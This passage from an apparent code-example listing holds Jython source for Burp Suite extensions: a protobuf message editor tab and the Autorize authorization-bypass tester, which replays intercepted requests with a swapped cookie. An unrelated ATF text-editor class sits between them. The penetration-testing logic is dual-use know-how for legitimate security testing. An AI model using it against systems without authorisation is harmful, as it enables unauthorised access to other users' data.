            self._encoder = 'gzip'
            return gzip_decompress.decompress(payload)

        # Try to base64 decode
        try:
            protobuf = base64.b64decode(payload, validate=True)
            self._encoder = 'base64'
            return protobuf
        except Exception as exc:
            pass

        #try:
        #    protobuf = base64.urlsafe_b64decode(payload)
        #    self._encoder = 'base64_url'
        #    return protobuf
        #except Exception as exc:
        #    pass

        self._encoder = None
        return payload

    def encodePayload(self, payload):
        """If we detected an encoding like gzip or base64 when decoding, redo
           that encoding step here
        """
        if self._encoder == 'base64':
            return base64.b64encode(payload)
        elif self._encoder == 'base64_url':
            return base64.urlsafe_b64encode(payload)
        elif self._encoder == 'gzip':
            gzip_compress = zlib.compressobj(-1, zlib.DEFLATED,
                                             -zlib.MAX_WBITS)
            self._encoder = 'gzip'
            return gzip_compress.compress(payload)
        else:
            return payload

    def getSelectedData(self):
        """Get text currently selected in message"""
        return self._text_editor.getSelectedText()

    def getUiComponent(self):
        """Return Java AWT component for this tab"""
        return self._component

    def isEnabled(self, content, is_request):
        """Try to detect a protobuf in the message to enable the tab. Defaults
           to content-type header of 'x-protobuf'. User overridable
        """
        # TODO implement some more default checks
        if is_request:
            info = self._helpers.analyzeRequest(content)
        else:
            info = self._helpers.analyzeResponse(content)

        if 'detect_protobuf' in dir(user_funcs):
            result = user_funcs.detect_protobuf(content, is_request, info,
                                                self._helpers)
            if result is not None:
                return result

        # Bail early if there is no body
        if info.getBodyOffset() == len(content):
            return False

        protobuf_content_types = ['x-protobuf', 'application/protobuf']
        # Check all headers for x-protobuf
        for header in info.getHeaders():
            if 'content-type' in header.lower():
                for protobuf_content_type in protobuf_content_types:
                    if protobuf_content_type in header.lower():
                        return True

        return False

    def isModified(self):
        """Return if the message was modified"""
        return self._text_editor.isTextModified()

    def createButtonPane(self):
        """Create a new button pane for the message editor tab"""
        self._button_listener = EditorButtonListener(self)

        panel = JPanel()
        panel.setLayout(BoxLayout(panel, BoxLayout.Y_AXIS))

        if self._editable:
            panel.add(self.createButton("Validate", "validate"))
        panel.add(self.createButton("Save Type", "save-type"))
        panel.add(self.createButton("Load Type", "load-type"))
        panel.add(self.createButton("Edit Type", "edit-type"))
        panel.add(self.createButton("Reset", "reset"))
        return panel

    def createButton(self, text, command):
        """Create a new button with the given text and command"""
        button = JButton(text)
        button.setAlignmentX(Component.CENTER_ALIGNMENT)
        button.setActionCommand(command)
        button.addActionListener(self._button_listener)
        return button

    def validateMessage(self):
        """Callback for validate button. Attempts to encode the message with
           the current type definition
        """
        try:
            json_data = self._text_editor.getText().tostring()
            blackboxprotobuf.protobuf_from_json(json_data, self.message_type)
            # If it works, save the message
            self._original_json = json_data
        except Exception as exc:
            JOptionPane.showMessageDialog(self._component, str(exc))
            self._callbacks.printError(traceback.format_exc())

    def resetMessage(self):
        """Drop any changes and reset the message. Callback for "reset"
           button
        """
        self._text_editor.setText(self._original_json)

    def getMessageHash(self):
        """Compute an "identifier" for the message which is used for sticky
           type definitions. User modifiable
        """
        message_hash = None
        if 'hash_message' in dir(user_funcs):
            message_hash = user_funcs.hash_message(
                self._original_content, self._is_request, self._content_info,
                self._helpers, self._request, self._request_content_info)
        if message_hash is None:
            # Base it off just the URL and request/response

            content_info = self._content_info if self._is_request else self._request_content_info
            url = content_info.getUrl().getPath()
            message_hash = (url, self._is_request)
        return message_hash

    def saveTypeMenu(self):
        """Open an input dialog to save the current type definiton"""
        type_defs = blackboxprotobuf.known_messages.keys()
        type_defs.insert(0, "New...")
        selection = JOptionPane.showInputDialog(self._component,
                                                "Select name for type",
                                                "Type selection",
                                                JOptionPane.PLAIN_MESSAGE,
                                                None, type_defs, None)
        if selection is None:
            return
        elif selection == "New...":
            selection = JOptionPane.showInputDialog("Enter new name")
        blackboxprotobuf.known_messages[selection] = self.message_type
        self._extender.suite_tab.updateList()

    def loadTypeMenu(self):
        """Open an input menu dialog to load a type definition"""
        type_defs = blackboxprotobuf.known_messages.keys()
        selection = JOptionPane.showInputDialog(self._component, "Select type",
                                                "Type selection",
                                                JOptionPane.PLAIN_MESSAGE,
                                                None, type_defs, None)

        if selection is None:
            return

        message_type = blackboxprotobuf.known_messages[selection]

        try:
            self.applyType(message_type)
        except Exception as exc:
            self._callbacks.printError(traceback.format_exc())
            JOptionPane.showMessageDialog(self._component,
                                          "Error applying type: " + str(exc))

    def applyType(self, typedef):
        """Apply a new typedef to the message. Throws an exception if type is invalid."""
        # Convert to protobuf as old type and re-interpret as new type
        old_message_type = self.message_type
        json_data = self._text_editor.getText().tostring()
        protobuf_data = blackboxprotobuf.protobuf_from_json(
            json_data, old_message_type)
        new_json, message_type = blackboxprotobuf.protobuf_to_json(
            str(protobuf_data), typedef)

        # Should exception out before now if there is an issue
        # Set the message type and reparse with the new type
        self.message_type = message_type
        self._text_editor.setText(str(new_json))

        message_hash = self.getMessageHash()
        self._extender.known_types[message_hash] = message_type
예제 #25
0
class AtfAreaView(JPanel):
    '''
    Initializes the ATF (edit/model) view and sets its layout.
    '''
    def __init__(self, controller):
        '''
        Creates default empty text area in a panel for ATF edition.
        It has syntax highlighting based on the ATF parser (pyoracc).
        It also highlights line numbers where there are validations errors
        returned by the ORACC server.
        '''
        # Give reference to controller to delegate action response
        self.controller = controller

        # Make text area occupy all available space and resize with parent
        # window
        self.setLayout(BorderLayout())

        # Short hand for edit area and line numbers area
        self.edit_area = self.controller.edit_area
        self.line_numbers_area = self.controller.line_numbers_area

        # Create secondary text area for split view
        self.secondary_area = self.controller.secondary_area
        self.secondary_line_numbers = self.controller.secondary_line_numbers

        # Set undo/redo manager to edit area
        self.undo_manager = UndoManager()
        self.undo_manager.limit = 3000
        self.edit_listener = AtfUndoableEditListener(self.undo_manager)
        self.edit_area.getDocument().addUndoableEditListener(
            self.edit_listener)

        # Sort out layout by synch-ing line numbers and text area and putting
        # only the text area in a scroll pane as indicated in the
        # TextLineNumber tutorial.
        self.edit_area.setPreferredSize(Dimension(1, 500))
        self.container = JScrollPane(self.edit_area)
        self.container.setRowHeaderView(self.line_numbers_area)
        self.add(self.container, BorderLayout.CENTER)

        self.vert_scroll = self.container.getVerticalScrollBar()
        self.vert_scroll.addAdjustmentListener(atfAreaAdjustmentListener(self))

        # Key listener that triggers syntax highlighting, etc. upon key release
        self.edit_area.addKeyListener(AtfAreaKeyListener(self))
        # Also needed in secondary area:
        self.secondary_area.addKeyListener(AtfAreaKeyListener(self))

        # Add a document listener to track changes to files
        docListener = atfAreaDocumentListener(self)
        self.edit_area.getDocument().addDocumentListener(docListener)

        # instance variable to store a record of the text contents prior to the
        # most recent change. Needed so that the different listeners can access
        # this to handle error line updating.
        self.oldtext = ''

    def toggle_split(self, split_orientation=None):
        '''
        Clear ATF edit area and repaint chosen layout (splitscreen/scrollpane).
        '''
        # Remove all existent components in parent JPanel
        self.removeAll()
        # Check what editor view to toggle
        self.setup_edit_area(split_orientation)
        # Revalitate is needed in order to repaint the components
        self.revalidate()
        self.repaint()

    def setup_edit_area(self, split_orientation=None):
        '''
        Check if the ATF text area is being displayed in a split editor.
        If so, resets to normal JScrollPane. If not, splits the screen.
        '''
        if isinstance(self.container, JSplitPane):
            # If Nammu is already displaying a split pane, reset to original
            # setup
            self.container = JScrollPane(self.edit_area)
            self.container.setRowHeaderView(self.line_numbers_area)
            self.container.setVisible(True)
            self.add(self.container, BorderLayout.CENTER)
        else:
            # If there is not a split pane, create both panels and setup view
            main_editor = JScrollPane(self.edit_area)
            main_editor.setRowHeaderView(self.line_numbers_area)
            secondary_editor = JScrollPane(self.secondary_area)
            secondary_editor.setRowHeaderView(self.secondary_line_numbers)
            self.container = JSplitPane(split_orientation, main_editor,
                                        secondary_editor)
            self.container.setDividerSize(5)
            self.container.setVisible(True)
            self.container.setDividerLocation(0.5)
            self.container.setResizeWeight(0.5)
            self.add(self.container, BorderLayout.CENTER)

    def get_viewport_carets(self):
        '''
        Get the top left and bottom left caret position of the current viewport
        '''
        extent = self.container.getViewport().getExtentSize()
        top_left_position = self.container.getViewport().getViewPosition()
        top_left_char = self.edit_area.viewToModel(top_left_position)
        bottom_left_position = Point(top_left_position.x,
                                     top_left_position.y + extent.height)
        bottom_left_char = self.edit_area.viewToModel(bottom_left_position)

        # Something has gone wrong. Assume that top_left should be at the start
        # of the file
        if top_left_char >= bottom_left_char:
            top_left_char = 0

        # Get the text in the full edit area
        text = self.controller.edit_area.getText()

        # Pad the top of the viewport to capture up to the nearest header and
        # the bottom by 2 lines
        top_ch = self.controller.pad_top_viewport_caret(top_left_char, text)
        bottom_ch = self.controller.pad_bottom_viewport_caret(
            bottom_left_char, text)

        return top_ch, bottom_ch

    def refresh(self):
        '''
        Restyle edit area using user selected appearance settings.
        '''

        config = self.controller.controller.config

        # Create a new font with the new size
        font = set_font(config['edit_area_style']['fontsize']['user'])

        # Update the sytnax highlighter font params, so our changes are not
        # superceded
        self.controller.syntax_highlighter.font = font
        self.controller.syntax_highlighter.setup_attribs()

        attrs = self.controller.edit_area.getInputAttributes()
        StyleConstants.setFontSize(attrs, font.getSize())

        # Get the Styledoc so we can update it
        doc = self.controller.edit_area.getStyledDocument()

        # Apply the new fontsize to the whole document
        doc.setCharacterAttributes(0, doc.getLength() + 1, attrs, False)
예제 #26
0
class BurpExtender(IBurpExtender, ITab, IHttpListener,
                   IMessageEditorController, AbstractTableModel,
                   IContextMenuFactory):
    def registerExtenderCallbacks(self, callbacks):
        # keep a reference to our callbacks object
        self._callbacks = callbacks
        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName("Autorize")

        # create the log and a lock on which to synchronize when adding log entries
        self._log = ArrayList()
        self._lock = Lock()
        self.intercept = 0

        self.initInterceptionFilters()

        self.initEnforcementDetector()

        self.initExport()

        self.initConfigurationTab()

        self.initTabs()

        self.initCallbacks()

        print "Thank you for installing Autorize v0.9 extension"
        print "by Barak Tawily"
        return

    def initExport(self):
        #
        ## init enforcement detector tab
        #

        exportLType = JLabel("File Type:")
        exportLType.setBounds(10, 10, 100, 30)

        exportLES = JLabel("Enforcement Statuses:")
        exportLES.setBounds(10, 50, 160, 30)

        exportFileTypes = ["HTML"]
        self.exportType = JComboBox(exportFileTypes)
        self.exportType.setBounds(100, 10, 200, 30)

        exportES = [
            "All Statuses", "Authorization bypass!",
            "Authorization enforced??? (please configure enforcement detector)",
            "Authorization enforced!"
        ]
        self.exportES = JComboBox(exportES)
        self.exportES.setBounds(100, 50, 200, 30)

        exportLES = JLabel("Statuses:")
        exportLES.setBounds(10, 50, 100, 30)

        self.exportButton = JButton("Export",
                                    actionPerformed=self.exportToHTML)
        self.exportButton.setBounds(390, 25, 100, 30)

        self.exportPnl = JPanel()
        self.exportPnl.setLayout(None)
        self.exportPnl.setBounds(0, 0, 1000, 1000)
        self.exportPnl.add(exportLType)
        self.exportPnl.add(self.exportType)
        self.exportPnl.add(exportLES)
        self.exportPnl.add(self.exportES)
        self.exportPnl.add(self.exportButton)

    def initEnforcementDetector(self):
        #
        ## init enforcement detector tab
        #

        self.EDFP = ArrayList()
        self.EDCT = ArrayList()

        EDLType = JLabel("Type:")
        EDLType.setBounds(10, 10, 140, 30)

        EDLContent = JLabel("Content:")
        EDLContent.setBounds(10, 50, 140, 30)

        EDLabelList = JLabel("Filter List:")
        EDLabelList.setBounds(10, 165, 140, 30)

        EDStrings = [
            "Finger Print: (enforced message body contains)",
            "Content-Length: (constant Content-Length number of enforced response)"
        ]
        self.EDType = JComboBox(EDStrings)
        self.EDType.setBounds(80, 10, 430, 30)

        self.EDText = JTextArea("", 5, 30)
        self.EDText.setBounds(80, 50, 300, 110)

        self.EDModel = DefaultListModel()
        self.EDList = JList(self.EDModel)
        self.EDList.setBounds(80, 175, 300, 110)
        self.EDList.setBorder(LineBorder(Color.BLACK))

        self.EDAdd = JButton("Add filter", actionPerformed=self.addEDFilter)
        self.EDAdd.setBounds(390, 85, 120, 30)
        self.EDDel = JButton("Remove filter", actionPerformed=self.delEDFilter)
        self.EDDel.setBounds(390, 210, 120, 30)

        self.EDPnl = JPanel()
        self.EDPnl.setLayout(None)
        self.EDPnl.setBounds(0, 0, 1000, 1000)
        self.EDPnl.add(EDLType)
        self.EDPnl.add(self.EDType)
        self.EDPnl.add(EDLContent)
        self.EDPnl.add(self.EDText)
        self.EDPnl.add(self.EDAdd)
        self.EDPnl.add(self.EDDel)
        self.EDPnl.add(EDLabelList)
        self.EDPnl.add(self.EDList)

    def initInterceptionFilters(self):
        #
        ##  init interception filters tab
        #

        IFStrings = [
            "URL Contains: ", "Scope items only: (Content is not required)"
        ]
        self.IFType = JComboBox(IFStrings)
        self.IFType.setBounds(80, 10, 430, 30)

        self.IFModel = DefaultListModel()
        self.IFList = JList(self.IFModel)
        self.IFList.setBounds(80, 175, 300, 110)
        self.IFList.setBorder(LineBorder(Color.BLACK))

        self.IFText = JTextArea("", 5, 30)
        self.IFText.setBounds(80, 50, 300, 110)

        IFLType = JLabel("Type:")
        IFLType.setBounds(10, 10, 140, 30)

        IFLContent = JLabel("Content:")
        IFLContent.setBounds(10, 50, 140, 30)

        IFLabelList = JLabel("Filter List:")
        IFLabelList.setBounds(10, 165, 140, 30)

        self.IFAdd = JButton("Add filter", actionPerformed=self.addIFFilter)
        self.IFAdd.setBounds(390, 85, 120, 30)
        self.IFDel = JButton("Remove filter", actionPerformed=self.delIFFilter)
        self.IFDel.setBounds(390, 210, 120, 30)

        self.filtersPnl = JPanel()
        self.filtersPnl.setLayout(None)
        self.filtersPnl.setBounds(0, 0, 1000, 1000)
        self.filtersPnl.add(IFLType)
        self.filtersPnl.add(self.IFType)
        self.filtersPnl.add(IFLContent)
        self.filtersPnl.add(self.IFText)
        self.filtersPnl.add(self.IFAdd)
        self.filtersPnl.add(self.IFDel)
        self.filtersPnl.add(IFLabelList)
        self.filtersPnl.add(self.IFList)

    def initConfigurationTab(self):
        #
        ##  init configuration tab
        #
        self.prevent304 = JCheckBox("Prevent 304 Not Modified status code")
        self.prevent304.setBounds(290, 25, 300, 30)

        self.ignore304 = JCheckBox("Ignore 304/204 status code responses")
        self.ignore304.setBounds(290, 5, 300, 30)
        self.ignore304.setSelected(True)

        self.autoScroll = JCheckBox("Auto Scroll")
        self.autoScroll.setBounds(290, 45, 140, 30)

        startLabel = JLabel("Authorization checks:")
        startLabel.setBounds(10, 10, 140, 30)
        self.startButton = JButton("Autorize is off",
                                   actionPerformed=self.startOrStop)
        self.startButton.setBounds(160, 10, 120, 30)
        self.startButton.setBackground(Color(255, 100, 91, 255))

        self.clearButton = JButton("Clear List",
                                   actionPerformed=self.clearList)
        self.clearButton.setBounds(10, 40, 100, 30)

        self.replaceString = JTextArea("Cookie: Insert=injected; header=here;",
                                       5, 30)
        self.replaceString.setWrapStyleWord(True)
        self.replaceString.setLineWrap(True)
        self.replaceString.setBounds(10, 80, 470, 180)

        self.filtersTabs = JTabbedPane()
        self.filtersTabs.addTab("Enforcement Detector", self.EDPnl)
        self.filtersTabs.addTab("Interception Filters", self.filtersPnl)
        self.filtersTabs.addTab("Export", self.exportPnl)

        self.filtersTabs.setBounds(0, 280, 2000, 700)

        self.pnl = JPanel()
        self.pnl.setBounds(0, 0, 1000, 1000)
        self.pnl.setLayout(None)
        self.pnl.add(self.startButton)
        self.pnl.add(self.clearButton)
        self.pnl.add(self.replaceString)
        self.pnl.add(startLabel)
        self.pnl.add(self.autoScroll)
        self.pnl.add(self.ignore304)
        self.pnl.add(self.prevent304)
        self.pnl.add(self.filtersTabs)

    def initTabs(self):
        #
        ##  init autorize tabs
        #

        self.logTable = Table(self)
        self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._splitpane.setResizeWeight(1)
        self.scrollPane = JScrollPane(self.logTable)
        self._splitpane.setLeftComponent(self.scrollPane)
        self.scrollPane.getVerticalScrollBar().addAdjustmentListener(
            autoScrollListener(self))
        copyURLitem = JMenuItem("Copy URL")
        copyURLitem.addActionListener(copySelectedURL(self))
        self.menu = JPopupMenu("Popup")
        self.menu.add(copyURLitem)

        self.tabs = JTabbedPane()
        self._requestViewer = self._callbacks.createMessageEditor(self, False)
        self._responseViewer = self._callbacks.createMessageEditor(self, False)

        self._originalrequestViewer = self._callbacks.createMessageEditor(
            self, False)
        self._originalresponseViewer = self._callbacks.createMessageEditor(
            self, False)

        self.tabs.addTab("Modified Request",
                         self._requestViewer.getComponent())
        self.tabs.addTab("Modified Response",
                         self._responseViewer.getComponent())

        self.tabs.addTab("Original Request",
                         self._originalrequestViewer.getComponent())
        self.tabs.addTab("Original Response",
                         self._originalresponseViewer.getComponent())

        self.tabs.addTab("Configuration", self.pnl)
        self.tabs.setSelectedIndex(4)
        self._splitpane.setRightComponent(self.tabs)

    def initCallbacks(self):
        #
        ##  init callbacks
        #

        # customize our UI components
        self._callbacks.customizeUiComponent(self._splitpane)
        self._callbacks.customizeUiComponent(self.logTable)
        self._callbacks.customizeUiComponent(self.scrollPane)
        self._callbacks.customizeUiComponent(self.tabs)
        self._callbacks.customizeUiComponent(self.filtersTabs)
        self._callbacks.registerContextMenuFactory(self)
        # add the custom tab to Burp's UI
        self._callbacks.addSuiteTab(self)

    #
    ## Events functions
    #
    def startOrStop(self, event):
        if self.startButton.getText() == "Autorize is off":
            self.startButton.setText("Autorize is on")
            self.startButton.setBackground(Color.GREEN)
            self.intercept = 1
            self._callbacks.registerHttpListener(self)
        else:
            self.startButton.setText("Autorize is off")
            self.startButton.setBackground(Color(255, 100, 91, 255))
            self.intercept = 0
            self._callbacks.removeHttpListener(self)

    def addEDFilter(self, event):
        typeName = self.EDType.getSelectedItem().split(":")[0]
        self.EDModel.addElement(typeName + ": " + self.EDText.getText())

    def delEDFilter(self, event):
        index = self.EDList.getSelectedIndex()
        if not index == -1:
            self.EDModel.remove(index)

    def addIFFilter(self, event):
        typeName = self.IFType.getSelectedItem().split(":")[0]
        self.IFModel.addElement(typeName + ": " + self.IFText.getText())

    def delIFFilter(self, event):
        index = self.IFList.getSelectedIndex()
        if not index == -1:
            self.IFModel.remove(index)

    def clearList(self, event):
        self._lock.acquire()
        self._log = ArrayList()
        row = self._log.size()
        self.fireTableRowsInserted(row, row)
        self._lock.release()

    def exportToHTML(self, event):
        parentFrame = JFrame()
        fileChooser = JFileChooser()
        fileChooser.setSelectedFile(File("AutorizeReprort.html"))
        fileChooser.setDialogTitle("Save Autorize Report")
        userSelection = fileChooser.showSaveDialog(parentFrame)
        if userSelection == JFileChooser.APPROVE_OPTION:
            fileToSave = fileChooser.getSelectedFile()

        enforcementStatusFilter = self.exportES.getSelectedItem()
        htmlContent = """<html><title>Autorize Report by Barak Tawily</title>
        <style>
        .datagrid table { border-collapse: collapse; text-align: left; width: 100%; }
         .datagrid {font: normal 12px/150% Arial, Helvetica, sans-serif; background: #fff; overflow: hidden; border: 1px solid #006699; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; }
         .datagrid table td, .datagrid table th { padding: 3px 10px; }
         .datagrid table thead th {background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; color:#FFFFFF; font-size: 15px; font-weight: bold; border-left: 1px solid #0070A8; } .datagrid table thead th:first-child { border: none; }.datagrid table tbody td { color: #00496B; border-left: 1px solid #E1EEF4;font-size: 12px;font-weight: normal; }.datagrid table tbody .alt td { background: #E1EEF4; color: #00496B; }.datagrid table tbody td:first-child { border-left: none; }.datagrid table tbody tr:last-child td { border-bottom: none; }.datagrid table tfoot td div { border-top: 1px solid #006699;background: #E1EEF4;} .datagrid table tfoot td { padding: 0; font-size: 12px } .datagrid table tfoot td div{ padding: 2px; }.datagrid table tfoot td ul { margin: 0; padding:0; list-style: none; text-align: right; }.datagrid table tfoot  li { display: inline; }.datagrid table tfoot li a { text-decoration: none; display: inline-block;  padding: 2px 8px; margin: 1px;color: #FFFFFF;border: 1px solid #006699;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; }.datagrid table tfoot ul.active, .datagrid table tfoot ul a:hover { text-decoration: none;border-color: #006699; color: #FFFFFF; background: none; background-color:#00557F;}div.dhtmlx_window_active, div.dhx_modal_cover_dv { position: fixed !important; }
        table {
        width: 100%;
        table-layout: fixed;
        }
        td {
            border: 1px solid #35f;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        td.a {
            width: 13%;
            white-space: nowrap;
        }
        td.b {
            width: 9%;
            word-wrap: break-word;
        }
        </style>
        <body>
        <h1>Autorize Report<h1>
        <div class="datagrid"><table>
        <thead><tr><th>URL</th><th>Authorization Enforcement Status</th></tr></thead>
        <tbody>"""

        for i in range(0, self._log.size()):
            color = ""
            if self._log.get(
                    i
            )._enfocementStatus == "Authorization enforced??? (please configure enforcement detector)":
                color = "yellow"
            if self._log.get(i)._enfocementStatus == "Authorization bypass!":
                color = "red"
            if self._log.get(i)._enfocementStatus == "Authorization enforced!":
                color = "LawnGreen"

            if enforcementStatusFilter == "All Statuses":
                htmlContent += "<tr bgcolor=\"%s\"><td><a href=\"%s\">%s</a></td><td>%s</td></tr>" % (
                    color, self._log.get(i)._url, self._log.get(i)._url,
                    self._log.get(i)._enfocementStatus)
            else:
                if enforcementStatusFilter == self._log.get(
                        i)._enfocementStatus:
                    htmlContent += "<tr bgcolor=\"%s\"><td><a href=\"%s\">%s</a></td><td>%s</td></tr>" % (
                        color, self._log.get(i)._url, self._log.get(i)._url,
                        self._log.get(i)._enfocementStatus)

        htmlContent += "</tbody></table></div></body></html>"
        f = open(fileToSave.getAbsolutePath(), 'w')
        f.writelines(htmlContent)
        f.close()

    #
    # implement IContextMenuFactory
    #
    def createMenuItems(self, invocation):
        responses = invocation.getSelectedMessages()
        if responses > 0:
            ret = LinkedList()
            requestMenuItem = JMenuItem("Send request to Autorize")
            cookieMenuItem = JMenuItem("Send cookie to Autorize")
            requestMenuItem.addActionListener(
                handleMenuItems(self, responses[0], "request"))
            cookieMenuItem.addActionListener(
                handleMenuItems(self, responses[0], "cookie"))
            ret.add(requestMenuItem)
            ret.add(cookieMenuItem)
            return (ret)
        return null

    #
    # implement ITab
    #
    def getTabCaption(self):
        return "Autorize"

    def getUiComponent(self):
        return self._splitpane

        #

    # extend AbstractTableModel
    #

    def getRowCount(self):
        try:
            return self._log.size()
        except:
            return 0

    def getColumnCount(self):
        return 2

    def getColumnName(self, columnIndex):
        if columnIndex == 0:
            return "URL"
        if columnIndex == 1:
            return "Authorization Enforcement Status"
        return ""

    def getValueAt(self, rowIndex, columnIndex):
        logEntry = self._log.get(rowIndex)
        if columnIndex == 0:
            return logEntry._url.toString()
        if columnIndex == 1:
            return logEntry._enfocementStatus
        return ""

    #
    # implement IMessageEditorController
    # this allows our request/response viewers to obtain details about the messages being displayed
    #

    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()

    #
    # implement IHttpListener
    #
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if self.intercept == 1:
            if self.prevent304.isSelected():
                if messageIsRequest:
                    requestHeaders = list(
                        self._helpers.analyzeRequest(messageInfo).getHeaders())
                    newHeaders = list()
                    found = 0
                    for header in requestHeaders:
                        if not "If-None-Match:" in header and not "If-Modified-Since:" in header:
                            newHeaders.append(header)
                            found = 1
                    if found == 1:
                        requestInfo = self._helpers.analyzeRequest(messageInfo)
                        bodyBytes = messageInfo.getRequest()[requestInfo.
                                                             getBodyOffset():]
                        bodyStr = self._helpers.bytesToString(bodyBytes)
                        messageInfo.setRequest(
                            self._helpers.buildHttpMessage(
                                newHeaders, bodyStr))

            if not messageIsRequest:
                if not self.replaceString.getText(
                ) in self._helpers.analyzeRequest(messageInfo).getHeaders():
                    if self.ignore304.isSelected():
                        firstHeader = self._helpers.analyzeResponse(
                            messageInfo.getResponse()).getHeaders()[0]
                        if "304" in firstHeader or "204" in firstHeader:
                            return
                    if self.IFList.getModel().getSize() == 0:
                        self.checkAuthorization(
                            messageInfo,
                            self._helpers.analyzeResponse(
                                messageInfo.getResponse()).getHeaders())
                    else:
                        urlString = str(
                            self._helpers.analyzeRequest(messageInfo).getUrl())
                        for i in range(0, self.IFList.getModel().getSize()):
                            if self.IFList.getModel().getElementAt(i).split(
                                    ":")[0] == "Scope items only":
                                currentURL = URL(urlString)
                                if self._callbacks.isInScope(currentURL):
                                    self.checkAuthorization(
                                        messageInfo,
                                        self._helpers.analyzeResponse(
                                            messageInfo.getResponse()).
                                        getHeaders())
                            if self.IFList.getModel().getElementAt(i).split(
                                    ":")[0] == "URL Contains":
                                if self.IFList.getModel().getElementAt(
                                        i)[14:] in urlString:
                                    self.checkAuthorization(
                                        messageInfo,
                                        self._helpers.analyzeResponse(
                                            messageInfo.getResponse()).
                                        getHeaders())
        return

    def makeRequest(self, messageInfo, message):
        requestURL = self._helpers.analyzeRequest(messageInfo).getUrl()
        return self._callbacks.makeHttpRequest(
            self._helpers.buildHttpService(
                str(requestURL.getHost()), int(requestURL.getPort()),
                requestURL.getProtocol() == "https"), message)

    def makeMessage(self, messageInfo, removeOrNot):
        requestInfo = self._helpers.analyzeRequest(messageInfo)
        headers = requestInfo.getHeaders()
        if removeOrNot:
            headers = list(headers)
            removeHeaders = ArrayList()
            removeHeaders.add(self.replaceString.getText()
                              [0:self.replaceString.getText().index(":")])

            for header in headers[:]:
                for removeHeader in removeHeaders:
                    if removeHeader in header:
                        headers.remove(header)

            headers.append(self.replaceString.getText())

        msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
        return self._helpers.buildHttpMessage(headers, msgBody)

    def checkAuthorization(self, messageInfo, originalHeaders):
        message = self.makeMessage(messageInfo, True)
        requestResponse = self.makeRequest(messageInfo, message)
        analyzedResponse = self._helpers.analyzeResponse(
            requestResponse.getResponse())

        oldStatusCode = originalHeaders[0]
        newStatusCode = analyzedResponse.getHeaders()[0]
        oldContentLen = self.getContentLength(originalHeaders)
        newContentLen = self.getContentLength(analyzedResponse.getHeaders())

        impression = ""

        EDFilters = self.EDModel.toArray()
        if oldStatusCode == newStatusCode:
            if oldContentLen == newContentLen:
                impression = "Authorization bypass!"
            else:
                impression = "Authorization enforced??? (please configure enforcement detector)"
                for filter in EDFilters:
                    if str(filter).startswith("Content-Length: "):
                        if newContentLen == filter:
                            impression = "Authorization enforced!"
                    if str(filter).startswith("Finger Print: "):
                        if filter[14:] in self._helpers.bytesToString(
                                requestResponse.getResponse()
                            [analyzedResponse.getBodyOffset():]):
                            impression = "Authorization enforced!"
        else:
            impression = "Authorization enforced!"

        self._lock.acquire()
        row = self._log.size()
        self._log.add(
            LogEntry(self._callbacks.saveBuffersToTempFiles(requestResponse),
                     self._helpers.analyzeRequest(requestResponse).getUrl(),
                     messageInfo,
                     impression))  # same requests not include again.
        self.fireTableRowsInserted(row, row)
        self._lock.release()

    def getContentLength(self, analyzedResponseHeaders):
        for header in analyzedResponseHeaders:
            if "Content-Length:" in header:
                return header
        return "null"

    def getCookieFromMessage(self, messageInfo):
        headers = list(
            self._helpers.analyzeRequest(
                messageInfo.getRequest()).getHeaders())
        for header in headers:
            if "Cookie:" in header:
                return header
        return None
예제 #27
0
class ProtoBufEditorTab(burp.IMessageEditorTab):
    """Tab in interceptor/repeater for editing protobuf message.
    Decodes them to JSON and back.
    The message type is attached to this object.
    """

    def __init__(self, extension, controller, editable, callbacks):

        self._callbacks = callbacks
        self._extension = extension
        self._callbacks = extension.callbacks
        self._helpers = extension.helpers

        self._controller = controller

        self._text_editor = self._callbacks.createTextEditor()
        self._text_editor.setEditable(editable)
        self._editable = editable

        self._last_valid_type_index = None

        self._filtered_message_model = FilteredMessageModel(
            extension.known_message_model, self._callbacks
        )

        self._type_list_component = JList(self._filtered_message_model)
        self._type_list_component.setSelectionMode(ListSelectionModel.SINGLE_SELECTION)
        self._type_list_component.addListSelectionListener(TypeListListener(self))

        self._new_type_field = JTextField()

        self._component = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._component.setLeftComponent(self._text_editor.getComponent())
        self._component.setRightComponent(self.createButtonPane())
        self._component.setResizeWeight(0.95)

        self.message_type = None
        self._is_request = None
        self._encoder = None
        self._original_json = None
        self._original_typedef = None
        self._last_set_json = ""
        self._content_info = None
        self._request_content_info = None
        self._request = None
        self._original_content = None

    def getTabCaption(self):
        """Return message tab caption"""
        return "Protobuf"

    def getMessage(self):
        """Transform the JSON format back to the binary protobuf message"""
        try:
            if self.message_type is None or not self.isModified():
                return self._original_content

            json_data = self._text_editor.getText().tostring()

            protobuf_data = blackboxprotobuf.protobuf_from_json(
                json_data, self.message_type
            )

            protobuf_data = self.encodePayload(protobuf_data)
            if "set_protobuf_data" in dir(user_funcs):
                result = user_funcs.set_protobuf_data(
                    protobuf_data,
                    self._original_content,
                    self._is_request,
                    self._content_info,
                    self._helpers,
                    self._request,
                    self._request_content_info,
                )
                if result is not None:
                    return result

            headers = self._content_info.getHeaders()
            return self._helpers.buildHttpMessage(headers, str(protobuf_data))

        except Exception as exc:
            self._callbacks.printError(traceback.format_exc())
            JOptionPane.showMessageDialog(
                self._component, "Error encoding protobuf: " + str(exc)
            )
            # Resets state
            return self._original_content

    def setMessage(self, content, is_request, retry=True):
        """Get the data from the request/response and parse into JSON.
        sets self.message_type
        """
